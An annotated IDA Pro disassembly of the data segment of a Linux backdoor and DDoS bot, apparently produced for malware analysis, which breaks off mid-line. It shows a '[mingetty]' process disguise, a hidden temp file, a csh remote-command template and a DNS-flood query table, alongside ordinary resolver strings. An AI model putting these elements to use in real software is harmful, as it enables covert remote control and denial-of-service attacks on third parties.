segment dword public 'CONST' use32 assume cs:__libc_subinit ;org 80675CCh off_80675CC dd offset sub_8056D3C ; DATA XREF: __libc_init+Co ; __libc_init+22o ... __libc_subinit ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code ; Segment permissions: Read/Execute _fini segment para public 'CODE' use32 assume cs:_fini ;org 80675D0h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 atexit_proc proc near ; DATA XREF: start+44o __libc_init+11o ... call call_dtors retn 0 atexit_proc endp _fini ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data ; Segment permissions: Read _rodata segment dword public 'CONST' use32 assume cs:_rodata ;org 80675D8h aMin db '[min' ; DATA XREF: real_start+76r aGett db 'gett' ; DATA XREF: real_start+7Dr aY db 'y]' ; DATA XREF: real_start+85r aNullByte db 0 ; DATA XREF: real_start+8Fr root_path db 2Fh ; / ; DATA XREF: real_start+D8o db 0 ; crypto_key db 0 ; DATA XREF: real_start+228r ; packet_encode+Fr ... aTmp_hj237349 db '/tmp/.hj237349',0 ; DATA XREF: real_start+4BFo ; real_start+4E7o ... aBinCshFCS1S21 db '/bin/csh -f -c "%s" 1> %s 2>&1',0 ; DATA XREF: real_start+4CBo aRb db 'rb',0 ; DATA XREF: real_start+4E2o aTfojg db 'TfOjG',0 ; DATA XREF: real_start+8D6o wrong_pass db 0FFh ; DATA XREF: real_start+8EBo db 0FBh ; db 1 ; db 0 ; aSbinBinUsrSbin db '/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.',0 ; DATA XREF: real_start+93Co aPath db 'PATH',0 ; DATA XREF: real_start+941o aHistfile db 'HISTFILE',0 ; DATA XREF: real_start+94Eo aLinux db 'linux',0 ; DATA XREF: real_start+95Ao aTerm db 'TERM',0 ; DATA XREF: real_start+95Fo aSh db 'sh',0 ; DATA XREF: real_start+96Bo aBinSh db '/bin/sh',0 ; DATA XREF: real_start+970o aBinCshFCS db '/bin/csh -f -c "%s" ',0 ; DATA XREF: real_start+A06o aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: send_packet_sig3+97o ; sub_8049564+CDo ... db 8Dh ; db 36h ; 6 dns_queries_sizes dd 15h ; DATA XREF: dns_ddos+33o ; sub_8049564+57o dd 15h dd 14h dd 15h dd 15h dd 19h dd 14h dd 14h dd 14h dns_queries db 47h ; DATA XREF: dns_ddos+50o ; sub_8049564+6Ao ; each structure is 50 bytes db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 63h ; c db 6Fh ; o db 6Dh ; m db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 6Eh ; n db 65h ; e db 74h ; t db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 64h ; d db 65h ; e db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 65h ; e db 64h ; d db 75h ; u db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 6Fh ; o db 72h ; r db 67h ; g db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 75h ; u db 73h ; s db 63h ; c db 3 ; db 65h ; e db 64h ; d db 75h ; u db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 65h ; e db 73h ; s db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 67h ; g db 72h ; r db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 47h ; G db 6Eh ; n db 1 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 3 ; db 69h ; i db 65h ; e db 0 ; db 0 ; db 6 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; aU_U_U_U db '%u.%u.%u.%u',0 ; DATA XREF: sub_8049D40+2C8o aC db '%c',0 ; DATA XREF: packet_encode+1Fo aCS db '%c%s',0 ; DATA XREF: packet_decode+9Bo aGethostby_ge_1 db 'gethostby*.getanswer: asked for "%s", got "%s"',0 ; DATA XREF: sub_804B800+48Eo aResolv_host_co db 'RESOLV_HOST_CONF',0 ; DATA XREF: init_services+1Do aEtcHost_conf db '/etc/host.conf',0 ; DATA XREF: init_services+34o aR db 'r',0 ; DATA XREF: init_services+3Eo ; _setprotoent+Co ... aOrder db 'order',0 ; DATA XREF: init_services+125o ; init_services+183o ... asc_806791B db ' ',9,0 ; DATA XREF: init_services+163o ; init_services+3CCo ... aResolvSSComman db 'resolv+: %s: "%s" command incorrectly formatted.',0Ah,0 ; DATA XREF: init_services+18Fo ; init_services+298o ... asc_8067950 db ' ,;:',0 ; DATA XREF: init_services+1AFo ; init_services+A77o ... aBind db 'bind',0 ; DATA XREF: init_services+1C8o ; init_services+2ECo ... aHosts db 'hosts',0 ; DATA XREF: init_services+216o ; init_services+2E7o ... aNis db 'nis',0 ; DATA XREF: init_services+252o ; init_services+2E2o ... aResolvSIsAnInv db 'resolv+: "%s" is an invalid keyword',0Ah,0 ; DATA XREF: init_services+2BDo ; init_services+8B5o ... aResolvValidKey db 'resolv+: valid keywords are: %s, %s and %s',0Ah,0 ; DATA XREF: init_services+2F1o aResolvSearchOr db 'resolv+: search order not specified or unrecognized keyword,' ; DATA XREF: init_services+35Fo db ' host resolution will fail.',0Ah,0 aMulti db 'multi',0 ; DATA XREF: init_services+38Eo ; init_services+4B8o ... aOn db 'on',0 ; DATA XREF: init_services+432o ; init_services+576o ... aOff db 'off',0 ; DATA XREF: init_services+47Fo ; init_services+5C3o ... aNospoof db 'nospoof',0 ; DATA XREF: init_services+4D2o ; init_services+5FCo ... aAlert db 'alert',0 ; DATA XREF: init_services+616o ; init_services+740o ... aReorder db 'reorder',0 ; DATA XREF: init_services+75Ao ; init_services+884o ... aTrim db 'trim',0 ; DATA XREF: init_services+8F2o ; init_services+9B8o aResolv_serv_or db 'RESOLV_SERV_ORDER',0 ; DATA XREF: init_services+A5Eo aResolv_spoof_c db 'RESOLV_SPOOF_CHECK',0 ; DATA XREF: init_services+B6Ao aWarn db 'warn',0 ; DATA XREF: init_services+B83o aWarnOff db 'warn off',0 ; DATA XREF: init_services+C06o aResolv_multi db 'RESOLV_MULTI',0 ; DATA XREF: init_services+C4Eo aResolv_reorder db 'RESOLV_REORDER',0 ; DATA XREF: init_services+CA2o aResolv_add_tri db 'RESOLV_ADD_TRIM_DOMAINS',0 ; DATA XREF: init_services+CF6o aResolv_overrid db 'RESOLV_OVERRIDE_TRIM_DOMAINS',0 ; DATA XREF: init_services+D77o aGethostby_geta db 'gethostby*.getanswer: asked for "%s", got CNAME for "%s"',0 ; DATA XREF: sub_804B800+263o aGethostby_ge_0 db 'gethostby*.getanswer: asked for type %d(%s), got %d(%s)',0 ; DATA XREF: sub_804B800+3B1o aSizeDTooBig db 'size (%d) too big',0Ah,0 ; DATA XREF: sub_804B800+55Fo aTooManyAddress db 'Too many addresses (%d)',0Ah,0 ; DATA XREF: sub_804B800+59Ao aHosts_byname db 'hosts.byname',0 ; DATA XREF: .text:0804BF1Co ; gethostbyname+22Eo ... aRes_searchFail db 'res_search failed',0Ah,0 ; DATA XREF: gethostbyname+15Do aU_U_U_U_inAddr db '%u.%u.%u.%u.in-addr.arpa',0 ; DATA XREF: .text:0804C2E2o aRes_queryFaile db 'res_query failed',0Ah,0 ; DATA XREF: .text:0804C317o aResolv db 'resolv',0 ; DATA XREF: .text:0804C436o aGethostbyaddrS db 'gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt',0 ; DATA XREF: .text:0804C459o aU_U_U_U_0 db '%u.%u.%u.%u',0 ; DATA XREF: .text:0804C4EAo aHosts_byaddr db 'hosts.byaddr',0 ; DATA XREF: .text:0804C4F5o asc_8067BFB db '#',0Ah,0 ; DATA XREF: _gethtent+71o asc_8067BFE db '/&',0 ; DATA XREF: res_init+4E8o ; res_init+549o aLocaldomain db 'LOCALDOMAIN',0 ; DATA XREF: res_init+C0o aR_0 db 'r',0 ; DATA XREF: res_init+170o aEtcResolv_conf db '/etc/resolv.conf',0 ; DATA XREF: res_init+175o aDomain db 'domain',0 ; DATA XREF: res_init+1D3o asc_8067C27 db ' ',9,0Ah,0 ; DATA XREF: res_init+251o aSearch db 'search',0 ; DATA XREF: res_init+27Eo aNameserver db 'nameserver',0 ; DATA XREF: res_init+396o aSortlist db 'sortlist',0 ; DATA XREF: res_init+45Ao aOptions db 'options',0 ; DATA XREF: res_init+606o aConf db 'conf',0 ; DATA XREF: res_init+638o aRes_options db 'RES_OPTIONS',0 ; DATA XREF: res_init+6EEo aEnv db 'env',0 ; DATA XREF: res_init+701o aRes_setoptions db ';; res_setoptions("%s", "%s")...',0Ah,0 ; DATA XREF: sub_804DE68+1Do aNdots db 'ndots:',0 ; DATA XREF: sub_804DE68+3Do aNdotsD db ';;',9,'ndots=%d',0Ah,0 ; DATA XREF: sub_804DE68+92o aDebug db 'debug',0 ; DATA XREF: sub_804DE68+A6o aRes_setoptio_0 db ';; res_setoptions("%s", "%s")..',0Ah,0 ; DATA XREF: sub_804DE68+C3o aDebug_0 db ';;',9,'debug',0Ah,0 ; DATA XREF: sub_804DE68+D7o aRes_querySDD db ';; res_query(%s, %d, %d)',0Ah,0 ; DATA XREF: res_query+4Fo aRes_queryMkque db ';; res_query: mkquery failed',0Ah,0 ; DATA XREF: res_query+8Do aRes_querySendE db ';; res_query: send error',0Ah,0 ; DATA XREF: res_query+CFo aRcodeDAncountD db ';; rcode = %d, ancount=%d',0Ah,0 ; DATA XREF: res_query+119o aNil db '',0 ; DATA XREF: sub_804E398+57o aRes_querydomai db ';; res_querydomain(%s, %s, %d, %d)',0Ah,0 ; DATA XREF: sub_804E398+5Eo ; static a_S(void) a_S__S db '%.*s.%.*s',0 ; DATA XREF: sub_804E398+C0o aHostaliases db 'HOSTALIASES',0 ; DATA XREF: __hostalias+19o aR_1 db 'r',0 ; DATA XREF: __hostalias+2Eo aRes_sendSS_US db 'res_send: %s ([%s].%u): %s',0Ah,0 ; DATA XREF: Aerror+3Fo aRes_sendSS db 'res_send: %s: %s',0Ah,0 ; DATA XREF: sub_804E694+26o aRes_send db ';; res_send()',0Ah,0 ; DATA XREF: res_send+47o aQueryingServer db ';; Querying server (# %d) address = %s',0Ah,0 ; DATA XREF: res_send+18Eo aSocketVc db 'socket(vc)',0 ; DATA XREF: res_send+AA5o aConnectVc db 'connect/vc',0 ; DATA XREF: res_send+24Co aWriteFailed db 'write failed',0 ; DATA XREF: res_send+2CAo aReadFailed db 'read failed',0 ; DATA XREF: res_send+346o aResponseTrunca db ';; response truncated',0Ah,0 ; DATA XREF: res_send+3B3o aReadVc db 'read(vc)',0 ; DATA XREF: res_send+438o aSocketDg db 'socket(dg)',0 ; DATA XREF: res_send+AC4o aConnectDg db 'connect(dg)',0 ; DATA XREF: res_send+550o aSend db 'send',0 ; DATA XREF: res_send+58Do aSendto db 'sendto',0 ; DATA XREF: res_send+63Bo aSelect db 'select',0 ; DATA XREF: res_send+6FBo aTimeout db ';; timeout',0Ah,0 ; DATA XREF: res_send+715o aRecvfrom db 'recvfrom',0 ; DATA XREF: res_send+782o aOldAnswer db ';; old answer:',0Ah,0 ; DATA XREF: res_send+7D4o aNotOurServer db ';; not our server:',0Ah,0 ; DATA XREF: res_send+82Ao aWrongQueryName db ';; wrong query name:',0Ah,0 ; DATA XREF: res_send+877o aServerRejected db 'server rejected query:',0Ah,0 ; DATA XREF: res_send+8C2o aTruncatedAnswe db ';; truncated answer',0Ah,0 ; DATA XREF: res_send+925o aGotAnswer db ';; got answer:',0Ah,0 ; DATA XREF: res_send+966o unk_8067EE3 db 0 ; ; DATA XREF: res_send+98Ao aNull db '(null)',0 ; DATA XREF: _IO_vfprintf+12CCo ; _IO_vfprintf+2D10o unk_8067EEB db 0 ; ; DATA XREF: _IO_vfprintf+12E0o ; _IO_vfprintf+2D24o aNil_0 db '(nil)',0 ; DATA XREF: _IO_vfprintf+1464o ; _IO_vfprintf+2EE4o aN6 db '6',0 ; DATA XREF: sub_8052DE8+43o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 94h ; db 2Dh ; - db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 1Bh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 23h ; # db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4Ch ; L db 1Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 30h ; 0 db 20h ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 44h ; D db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 24h ; $ db 6 ; db 8 ; unk_8067F84 db 4Eh ; N ; DATA XREF: sub_8053310+1A5o db 61h ; a db 4Eh ; N db 0 ; unk_8067F88 db 49h ; I ; DATA XREF: sub_8053310+131o ; sub_8053310+1CCo db 6Eh ; n db 66h ; f db 0 ; aSyslog db 'syslog',0 ; DATA XREF: sub_8054E54+34o aD_15s db '<%d>%.15s ',0 ; DATA XREF: sub_8054EC8+8Ao aD db '[%d]',0 ; DATA XREF: sub_8054EC8+F9o aTruncated db '[truncated] ',0 ; DATA XREF: sub_8054EC8+17Co ; sub_8054EC8+1F1o ... aS db '%s',0 ; DATA XREF: sub_8054EC8+1D9o asc_8067FB3 db 0Ah,0 ; DATA XREF: sub_8054EC8+2FFo aDevConsole db '/dev/console',0 ; DATA XREF: sub_8054EC8+387o asc_8067FC2 db 0Dh,0Ah,0 ; DATA XREF: sub_8054EC8+39Ao aDevLog db '/dev/log',0 ; DATA XREF: sub_80552B0+41o aSh_0 db 'sh',0 ; DATA XREF: system+DDo aC_0 db '-c',0 ; DATA XREF: system+E4o aBinSh_0 db '/bin/sh',0 ; DATA XREF: system+129o unk_8067FDC db 0 ; ; DATA XREF: .rodata:08068DACo db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; unk_8067FE8 db 0 ; ; DATA XREF: .rodata:08068DBCo db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 64h ; d db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 10h ; db 27h ; ' db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0F5h ; db 5 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 6Fh ; o db 0F2h ; db 86h ; db 23h ; # db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 81h ; db 0EFh ; db 0ACh ; db 85h ; db 5Bh ; [ db 41h ; A db 6Dh ; m db 2Dh ; - db 0EEh ; db 4 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 1Fh ; db 6Ah ; j db 0BFh ; db 64h ; d db 0EDh ; db 38h ; 8 db 6Eh ; n db 0EDh ; db 97h ; db 0A7h ; db 0DAh ; db 0F4h ; db 0F9h ; db 3Fh ; ? db 0E9h ; db 3 ; db 4Fh ; O db 18h ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 3Eh ; > db 95h ; db 2Eh ; . db 9 ; db 99h ; db 0DFh ; db 3 ; db 0FDh ; db 38h ; 8 db 15h ; db 0Fh ; db 2Fh ; / db 0E4h ; db 74h ; t db 23h ; # db 0ECh ; db 0F5h ; db 0CFh ; db 0D3h ; db 8 ; db 0DCh ; db 4 ; db 0C4h ; db 0DAh ; db 0B0h ; db 0CDh ; db 0BCh ; db 19h ; db 7Fh ;  db 33h ; 3 db 0A6h ; db 3 ; db 26h ; & db 1Fh ; db 0E9h ; db 4Eh ; N db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 7Ch ; | db 2Eh ; . db 98h ; db 5Bh ; [ db 87h ; db 0D3h ; db 0BEh ; db 72h ; r db 9Fh ; db 0D9h ; db 0D8h ; db 87h ; db 2Fh ; / db 15h ; db 12h ; db 0C6h ; db 50h ; P db 0DEh ; db 6Bh ; k db 70h ; p db 6Eh ; n db 4Ah ; J db 0CFh ; db 0Fh ; db 0D8h ; db 95h ; db 0D5h ; db 6Eh ; n db 71h ; q db 0B2h ; db 26h ; & db 0B0h ; db 66h ; f db 0C6h ; db 0ADh ; db 24h ; $ db 36h ; 6 db 15h ; db 1Dh ; db 5Ah ; Z db 0D3h ; db 42h ; B db 3Ch ; < db 0Eh ; db 54h ; T db 0FFh ; db 63h ; c db 0C0h ; db 73h ; s db 55h ; U db 0CCh ; db 17h ; db 0EFh ; db 0F9h ; db 65h ; e db 0F2h ; db 28h ; ( db 0BCh ; db 55h ; U db 0F7h ; db 0C7h ; db 0DCh ; db 80h ; db 0DCh ; db 0EDh ; db 6Eh ; n db 0F4h ; db 0CEh ; db 0EFh ; db 0DCh ; db 5Fh ; _ db 0F7h ; db 53h ; S db 5 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0F8h ; db 6Ch ; l db 0FCh ; db 67h ; g db 72h ; r db 0F2h ; db 77h ; w db 0DCh ; db 46h ; F db 95h ; db 8Fh ; db 6Fh ; o db 97h ; db 96h ; db 5Dh ; ] db 97h ; db 8Ah ; db 3Ah ; : db 0B8h ; db 0D9h ; db 1Ah ; db 1Eh ; db 0C3h ; db 13h ; db 5 ; db 0C4h ; db 46h ; F db 47h ; G db 57h ; W db 0E6h ; db 94h ; db 0C1h ; db 76h ; v db 89h ; db 0C8h ; db 79h ; y db 0B5h ; db 75h ; u db 44h ; D db 3Bh ; ; db 73h ; s db 0F8h ; db 28h ; ( db 0BFh ; db 0A1h ; db 1Dh ; db 0AAh ; db 21h ; ! db 0D3h ; db 3Eh ; > db 70h ; p db 0EAh ; db 0CFh ; db 25h ; % db 1Eh ; db 22h ; " db 2Fh ; / db 1Ah ; db 0B2h ; db 2Eh ; . db 0FBh ; db 51h ; Q db 0BCh ; db 5Dh ; ] db 4Fh ; O db 0E1h ; db 96h ; db 0ACh ; db 0EDh ; db 0A3h ; db 0BFh ; db 0AEh ; db 57h ; W db 9Ch ; db 32h ; 2 db 53h ; S db 71h ; q db 0FCh ; db 0E7h ; db 95h ; db 6 ; db 0FCh ; db 0C3h ; db 24h ; $ db 19h ; db 0A9h ; db 85h ; db 5Eh ; ^ db 63h ; c db 5Fh ; _ db 0F9h ; db 0E0h ; db 8Eh ; db 90h ; db 0B2h ; db 0E4h ; db 0ADh ; db 0ABh ; db 93h ; db 2Ah ; * db 73h ; s db 66h ; f db 13h ; db 5Ch ; \ db 77h ; w db 49h ; I db 94h ; db 0Eh ; db 5Bh ; [ db 0BEh ; db 69h ; i db 0ACh ; db 0AFh ; db 43h ; C db 73h ; s db 81h ; db 0BCh ; db 99h ; db 0B0h ; db 46h ; F db 1Dh ; db 0A7h ; db 45h ; E db 48h ; H db 97h ; db 69h ; i db 0A2h ; db 3 ; db 73h ; s db 0B0h ; db 8Ch ; db 13h ; db 1Fh ; db 0Bh ; db 8Ah ; db 97h ; db 8Ah ; db 0ABh ; db 8Ch ; db 0D9h ; db 38h ; 8 db 0D2h ; db 0C1h ; db 0D4h ; db 15h ; db 34h ; 4 db 63h ; c db 1Ch ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0F0h ; db 19h ; db 29h ; ) db 72h ; r db 2Bh ; + db 5Bh ; [ db 0F5h ; db 5Bh ; [ db 21h ; ! db 7Ch ; | db 6Eh ; n db 86h ; db 9Fh ; db 0C2h ; db 1Eh ; db 87h ; db 4Eh ; N db 1Ch ; db 99h ; db 88h ; db 1Ah ; db 0C5h ; db 15h ; db 35h ; 5 db 0C5h ; db 0Ah ; db 14h ; db 1Ah ; db 1Eh ; db 7Dh ; } db 4Ch ; L db 19h ; db 0D8h ; db 2Ch ; , db 0CCh ; db 0Eh ; db 44h ; D db 0D1h ; db 0Eh ; db 0EEh ; db 34h ; 4 db 66h ; f db 89h ; db 0FBh ; db 6Ch ; l db 0E1h ; db 7Dh ; } db 1Fh ; db 